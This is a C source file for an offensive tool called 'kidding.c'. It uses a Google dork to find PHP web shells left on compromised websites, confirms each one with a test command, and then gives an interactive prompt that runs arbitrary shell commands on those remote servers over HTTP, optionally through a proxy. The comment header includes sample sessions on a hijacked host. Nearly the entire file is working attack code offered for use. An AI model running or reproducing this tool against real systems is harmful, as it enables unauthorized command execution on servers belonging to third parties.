/*	WWW.EXCLUDED.ORG

	kidding.c

	written by l0om
		kidding.c is another BeerProduction 
	
	as every BeerProduction this piece of code has been written with
	massive influence of beer. 

	what are HTTP Shells??
		it gives you the possiblitiy to enter shell commands with http and
		get the systems results with http. we are searching for php-shells
		which are mostly uploaded by "hackers" to own a box. on a missed 
		cleanup google might find them and thats the reason why we might
		find them.  :)

	compile:
		gcc -o kidding kidding.c goo.c -lcurl  #put goo.h in same dir

		as you can see you need curl lib installed and you will need
		my goo-lib for the google actions.

		you can get "goo" @www.excluded.org

	usage:
		-h: this help
		-s: scan for http-shells
		-q: enter the quite mode
		-p: enter proxy for http-shell (<proxy.domain.de:8080>)
		-c: connect directly to the supplied url
		-f: path to tmp file [default:HOME/.kid]
	
		examples:

		badass@badhost:~> ./kidding -s -o scan.log
			will scan for http-shells with googles help and will wirte them to scan.log

		badass@badhost:~> ./kidding -c http://xxx.xxxxxxx.xxx/iam_with_stupid/xxx.php 
			will connect to urls http-shell where you can enter commands

		badass@badhost:~> ./kidding -c http://xxx.xxxxxxx.xxx/iam_with_stupid/xxx.php  -p proxy.domain.de:8080
			connect to http-shell and use http proxy for connection

	notes:
		- only HTTP proxys are supported now
		- google requests will not be send with proxy
		- YOU CANNOT RUN INTERACTIVE PROGRAMMS ON A HTTP SHELL!!!
		- never use this program without beer
		- Phree the Cyberspace!

	example:
		badass@badhost:~/kid> ./kidding -c http://www.xxxxxxxxxx.xxx/xxx... -q
		write "caiocaio" to quit shell-modus
		badass@HTTP~>id
		
		uid=99(nobody) gid=99(nobody) groups=99(nobody)
		
		badass@HTTP~>/usr/bin/who
		
		
		badass@HTTP~>wget
		
		wget: missing URL
		Usage: wget [OPTION]... [URL]...
		
		Try `wget --help' for more options.
		
		badass@HTTP~>ls
		
		FakedDir/
		fakedball.tar
		_vti_pvt/
		include/
		[...]
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <curl/curl.h>

#include "goo.h"
			//you may pimp the dork :)
#define		SHELL_DORK		"intitle:php.shell ext:php current.working.directory -error -warning"
#define 	QUIT_SHELL_CHAR		"caiocaio"
#define 	HTTP_TIMEOUT		6
#define		GOOL_TIMEOUT		8	//timeout for check results
#define 	GOOL_TIMEOUT2		20	//timeout for recv googles urls

int check_shell(char *path);
void recv_shell_data(char *path);
void http_shell(char *url, char *path, char *pxy);
void help(char *prog);
void header(void);
void scanner(char *path, char *scanlog, CURL *c, int q);

int main(int argc, char **argv)
{
	int i;
	int con = 0; 		//connect
	int scan = 0; 		//scan for shells with google
	int quite = 0;		//quite mode
	char *url = NULL;	//put url here if it is given
	char post[100];
	char *cmd = "echo iam just kiddin...";  //cmd for testing shell
	char *path = NULL;		//path to tmp file
	char *scanfile = NULL;		//path for scanfile
	char *pxy = NULL;		//pxy = NULL if no proxy
	FILE *tmp;		//the tmp file
	CURL *curl;
	CURLcode res;

	memset(post, 0x0, 100);
	snprintf(post, 100, "command=%s&submit_btn=Execute%20Command",cmd);

	curl = curl_easy_init();
	if(!curl) {
		printf("error\n");
		return 1;
	}

	curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);
	curl_easy_setopt(curl, CURLOPT_TIMEOUT, 6);
	curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); //we dont care
	curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); //about ssl sec

	for(i = 1; i < argc; i++) {
		if(argv[i][0] == '-')
			switch(argv[i][1]) {
				case 'c':
					con = 1;
					break;
				case 'h':
					help(argv[0]);
					curl_easy_cleanup(curl);
					return 0;
				case 's':
					scan = 1;
					break;
				case 'q':
					quite = 1;
					break;
				case 'p':
					pxy = argv[++i];
					curl_easy_setopt(curl, CURLOPT_PROXY, pxy);
					break;
				case 'f':
					path = malloc(strlen(argv[++i]) + 1);
					if(path == NULL) {
						perror("malloc");
						curl_easy_cleanup(curl);
						return 0;
					}
					strcpy(path,argv[i]);
					break;
				case 'o':
					scanfile = malloc(strlen(argv[++i]) + 1);
					if(scanfile == NULL) {
						perror("malloc");
						curl_easy_cleanup(curl);
						return 0;
					}
					strcpy(scanfile,argv[i]);
					break;
				default:
					printf(" >> %s << unknown option\n",argv[i]);
			}
		else url = argv[i];
		}

	if(con && scan) {
		help(argv[0]);
		curl_easy_cleanup(curl);
		printf("you cannot connect and scan\n");
		return 0;
	}	

	if(!con && !scan) {
		help(argv[0]);
		curl_easy_cleanup(curl);
		printf("you have to connect or scan\n");
		return 0;
	}

	if(con && url == NULL) {
		help(argv[0]);
		curl_easy_cleanup(curl);
		printf("need url to connect\n");
		return 0;
	}

	curl_easy_setopt(curl, CURLOPT_URL, url);

	if(path == NULL) {
		path = malloc(strlen(getenv("HOME"))+1+4+1);
		if(path == NULL) {
			perror("malloc");
			curl_easy_cleanup(curl);
			return 1;
		} else sprintf(path, "%s/.kid",getenv("HOME"));
	}
	
	if( (tmp = fopen(path, "w")) == NULL) {
		perror("fopen");
		curl_easy_cleanup(curl);
		return 1;
	}
	curl_easy_setopt(curl, CURLOPT_WRITEDATA,  tmp);

	if(!quite)
		header();

	if(scan) {
		fclose(tmp);
		scanner(path,scanfile,curl,quite);
		curl_easy_cleanup(curl);
		remove(path);
		return 0;
	}

	if(con) {
		res = curl_easy_perform(curl);
		fclose(tmp);
		if(!quite) {  
			printf("check %s... ",url);
			fflush(stdout);
		}
		i = check_shell(path);
		if(!quite) 
			if(i) { 
				printf("done!\n \tits a target xD\n",url);
				printf("connecting...\n");
				http_shell(url,path,pxy);
			}
			else printf("done!\n %s is NO target\n",url);
		if(quite && i) http_shell(url,path,pxy);
		curl_easy_cleanup(curl);
		remove(path);
		return 0;
	}
	remove(path);
	curl_easy_cleanup(curl);
	return 0;
}

int check_shell(char *path)
{
	char *str = "iam just kiddin...";
	int i, c;
	FILE *fp;
	size_t nlen = strlen(str);
	
	fp = fopen(path, "r");
	if(fp == NULL) {
		perror("fopen");
		return -1;
	}

	i=0;
	while((c = fgetc(fp)) != EOF) {
		if(c == str[i])
			i++;
		else i = 0;
		if(i == nlen) {
			fclose(fp);
			return 1;
			break;
		}
	}
	fclose(fp);
	return 0;
}

void http_shell(char *url, char *path, char *pxy)
{
	char post[500];
	char buf[300];
	CURL *c;
	CURLcode res;
	FILE *fp;

	c = curl_easy_init();
	curl_easy_setopt(c, CURLOPT_URL, url);
	curl_easy_setopt(c, CURLOPT_SSL_VERIFYPEER, 0); //we dont care
	curl_easy_setopt(c, CURLOPT_SSL_VERIFYHOST, 0); //about ssl sec
	if(pxy != NULL)
		curl_easy_setopt(c, CURLOPT_PROXY, pxy); //set proxy if wanted

	printf("write \"%s\" to quit shell-modus\n",QUIT_SHELL_CHAR);
	while(1) {
		memset(post, 0x0, 500);
		memset(buf, 0x0, 300);
		printf("badass@HTTP~>"); fflush(stdout);

		read(1,buf, 300);			//read stdin
		buf[strlen(buf)-1] = '\0';
		if(!memcmp(buf,QUIT_SHELL_CHAR,strlen(QUIT_SHELL_CHAR))) break;

		snprintf(post, 500, "command=%s&submit_btn=Execute\%20Command",buf);
		curl_easy_setopt(c, CURLOPT_POSTFIELDS, post);

		if( (fp = fopen(path, "w")) == NULL) {
			curl_easy_cleanup(c);
			perror("fopen");
			return;
		}
		curl_easy_setopt(c, CURLOPT_WRITEDATA,  fp);
		res = curl_easy_perform(c);
		fclose(fp);
 		recv_shell_data(path);
	}
	curl_easy_cleanup(c);
}

void  recv_shell_data(char *path)
{
	int i, c;
	char *txtstart = "textarea"; 
	char *txtend = "</textarea";
	size_t nlen; 
	FILE *fp;
	
	if( (fp = fopen(path, "r")) == NULL) {
		perror("fopen");
		return;
	}

	i=0;
	nlen = strlen(txtstart);
	while((c = fgetc(fp)) != EOF) {
		if(c == txtstart[i])
			i++;
		else i = 0;
		if(i == nlen) {
			while((c = fgetc(fp)) != EOF)
				if(c != '>') continue;
				else break;

			c = fgetc(fp);
			c = fgetc(fp);
			nlen = strlen(txtend);
			i=0;
			while((c = fgetc(fp)) != EOF) {
				if(c == txtend[i])
					i++;
				else i = 0;
				if(i == nlen) {
					for(i = 0; i < nlen; i++) 
						printf("\b");
				//	for(i = 0; i < nlen; i++) 
				//		printf(" ");
					return;
				}
				printf("%c",c);	
				}
		}
	}
	fclose(fp);
}

void scanner(char *path, char *scanlog, CURL *c, int q)
{
	int i, j, v;
	goo_t goo;
        cli_ans ans;
        time_t thetime;
	char *req = SHELL_DORK;
	char *urls[200];
	int res = 0;
	FILE *tmp, *sl = NULL;

	if(scanlog != NULL) {
		if( (sl = fopen(scanlog, "a+")) == NULL) {
			perror("fopen");
			printf("cannot use scanlog\n");
		}
	}

        goo = init_goo();
        if(goo.resultc != SUCCESS) {
                goo_prnt_er(&goo);
                return;
        }
        goo_cli(1,&goo);		//create one child
        if(!goo_cli_cnt(&goo)) {
                goo_prnt_er(&goo);
                return;
        }

	for(i = 0; i < 200; i++) urls[i] = NULL;

        goo_cli_set(1, GETRESLT, NULL, &goo);	//we need the results first
	goo_cli_req(1,req,&goo,0);
	
	thetime = time(NULL);
	while(1) {
		if(thetime < (time(NULL)-GOOL_TIMEOUT)) break;
		ans = goo_results(&goo);
		if(goo.resultc != NOANSWER)   {  // read answers for 10 seconds
			if(goo.resultc != SUCCESS) {
				goo_prnt_er(&goo);
				break;
			}
			res = ans.goo_res;
			break;
			}
		usleep(100000);  //dont harm your cpu
        }
	printf("%d google results...\n",res);
	if(!res) {
		printf("mh... we should stop kidding :(\n");
		delete_goo(&goo);
		return;
	}

	goo_cli_set(1, GETURLS, NULL, &goo);  // give urls now...
	goo_cli_req(1, req, &goo, res);

	j=0;
	thetime = time(NULL);
	while(res > 0) {
		if(thetime < (time(NULL)-GOOL_TIMEOUT2)) break;
		ans = goo_results(&goo);
		if(goo.resultc != NOANSWER)   {  // read answers
			if(goo.resultc != SUCCESS) {
				goo_prnt_er(&goo);
				break;
			}
			for(i = 0; i < ans.urls; i++) {
				urls[j] = malloc(strlen(ans.data[i])+1);
				if(urls[j] == NULL) {
					perror("malloc");
					delete_goo(&goo);
					return;
				}
				strcpy(urls[j],ans.data[i]);
				j++;
			}
			res -= ans.urls;
			if(ans.urls < 10) break;
		}
		usleep(100000);
	}
	delete_goo(&goo);

	
	printf("start scanning for http-shells with %d urls...\n",j);	
	printf("###############################################\n");
	if(!j) {
		printf("mh... we should stop kidding :(\n");
		return;
	}

	v = 0;
	for(i = 0; i < j; i++) {
		if( (tmp = fopen(path, "w")) == NULL) {
			perror("fopen");
			return;
		}
		curl_easy_setopt(c, CURLOPT_WRITEDATA,  tmp);
		if(!q) 
			printf("check url %d -> %s...\n",i+1,urls[i]);
		curl_easy_setopt(c, CURLOPT_URL, urls[i]);
		res = curl_easy_perform(c);
		fclose(tmp);
		if(check_shell(path)) {
			printf("\tHTTP SHELL FOUND!!\n");
			v++;
			if(sl != NULL) {
				fprintf(sl,urls[i]);
				fprintf(sl,"\n");
			}
			continue;
		}
		if(!q)
			printf("\tNO http shell\n");
	}
	if(sl != NULL)
		fclose(sl);
	printf("###############################################\n");
	printf("scan is done [%d HTTP SHELLS FOUND]\n",v);
}

void header(void)
{
	printf("\tWWW.EXCLUDED.ORG\n");
	printf("\tIam Just ..... KIDding! :)\n");
	printf("\tanother l0om BeerProduction\n\n");
}

void help(char *path)
{
	printf("%s [options] [url]\n",path);
	printf("\t-h: this help\n");
	printf("\t-s: scan for http-shells\n");
	printf("\t-q: enter the quite mode\n");
	printf("\t-p: enter proxy for http-shell (<proxy.domain.de:8080>)\n");
	printf("\t-c: connect directly to the supplied url\n");
	printf("\t-f: path to tmp file [default:HOME/.kid]\n");
	printf("[url]: url to a http-shell\n");
}

